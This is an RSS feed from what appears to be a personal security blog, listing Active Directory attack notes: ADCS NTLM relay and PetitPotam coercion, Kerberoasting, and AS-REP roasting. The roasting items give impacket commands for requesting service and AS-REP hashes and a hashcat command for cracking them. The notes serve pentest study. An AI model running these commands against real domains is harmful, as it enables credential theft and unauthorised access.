<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>AD on Garrettoh&#39;s Research / Blog</title>
    <link>https://garrettoh.dev/notes/500-hacking/05_active_directory/</link>
    <description>Recent content in AD on Garrettoh&#39;s Research / Blog</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 25 Sep 2025 00:00:00 +0000</lastBuildDate>
    <atom:link href="https://garrettoh.dev/notes/500-hacking/05_active_directory/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>ADCS: Net-NTLM Relay &amp; PetitPotam</title>
      <link>https://garrettoh.dev/notes/500-hacking/05_active_directory/04_domain_escalation/04_adcs/</link>
      <pubDate>Thu, 25 Sep 2025 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/05_active_directory/04_domain_escalation/04_adcs/</guid>
      <description>&lt;h1 id=&#34;notes500-hackingadcs_relay&#34;&gt;/notes/500-hacking/adcs_relay&lt;/h1&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://garrettoh.dev/images/ADCS/ADCSv.png&#34; alt=&#34;ADCS Overview&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;certificate-templates&#34;&gt;Certificate Templates&lt;/h2&gt;&#xA;&lt;p&gt;Templates are critical; they define the certificate&amp;rsquo;s purpose. Common use cases include:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Client Authentication&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Email Encryption&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Code Signing&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://garrettoh.dev/images/ADCS/Cert%20Info.png&#34; alt=&#34;Certificate Template Info&#34;&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;net-ntlm-relay-to-adcs-http-endpoints&#34;&gt;Net-NTLM Relay to ADCS HTTP Endpoints&lt;/h2&gt;&#xA;&lt;p&gt;The Certificate Enrollment web interface is typically hosted at: &lt;code&gt;http://&amp;lt;ADCS-SERVER&amp;gt;/certsrv/&lt;/code&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;forced-auth-coercion-petitpotam&#34;&gt;Forced Auth Coercion (PetitPotam)&lt;/h3&gt;&#xA;&lt;p&gt;Many forced auth coercion techniques utilize RPC calls to trigger authentication. Most RPC-based auth can be performed on servers with low-privileged authentication.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Key Protocol:&lt;/strong&gt; &lt;code&gt;MS-EFSR&lt;/code&gt; (Remotely manage encrypted information over the network using RPC).&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/05_active_directory/01_ad_enumeration/01_unauthenticated/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/05_active_directory/01_ad_enumeration/01_unauthenticated/</guid>
      <description></description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/05_active_directory/02_credential_access/05_kerberoasting/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/05_active_directory/02_credential_access/05_kerberoasting/</guid>
      <description>&lt;p&gt;Ad user requests a TGT (ticket granting ticket) to access a service on a specified server&lt;/p&gt;&#xA;&lt;p&gt;DC sends the TGT ticket back&lt;/p&gt;&#xA;&lt;p&gt;User requests a TGS (ticket granting service) to access a specific service or server using kerberos&lt;/p&gt;&#xA;&lt;p&gt;AD user sends TGS to specified server&lt;/p&gt;&#xA;&lt;p&gt;Server sends back service specific information&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;impacket-GetUserSPNs domain/user:pw -dc-ip $DCIP -request&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If this doesn&amp;rsquo;t work because of a time sync error do the following &lt;code&gt;sudo ntpupdate $DCIP&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/05_active_directory/02_credential_access/06_as-rep_roasting/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/05_active_directory/02_credential_access/06_as-rep_roasting/</guid>
      <description>&lt;p&gt;Similar to [[05_Kerberoasting]] but you don&amp;rsquo;t need a password just a username and then you&amp;rsquo;ll crack that users password&lt;/p&gt;&#xA;&lt;p&gt;Gaining the hash&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;impacket-GetNPUsers &amp;lt;DOMAIN&amp;gt;/&amp;lt;USER&amp;gt;:&amp;lt;PASSWORD&amp;gt; -dc-ip &amp;lt;DC_IP&amp;gt; -request&lt;/code&gt;&#xA;&lt;code&gt;impacket-GetNPUsers &amp;lt;DOMAIN&amp;gt;/ -usersfile users.txt -format hashcat -dc-ip &amp;lt;DC_IP&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Cracking the Hash&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/05_active_directory/03_lateral_movement/02_authenticated_low_priv/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/05_active_directory/03_lateral_movement/02_authenticated_low_priv/</guid>
      <description></description>
    </item>
    <item>
      <title></title>
      <link>https://garrettoh.dev/notes/500-hacking/05_active_directory/03_lateral_movement/03_lateral_movement/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://garrettoh.dev/notes/500-hacking/05_active_directory/03_lateral_movement/03_lateral_movement/</guid>
      <description></description>
    </item>
  </channel>
</rss>
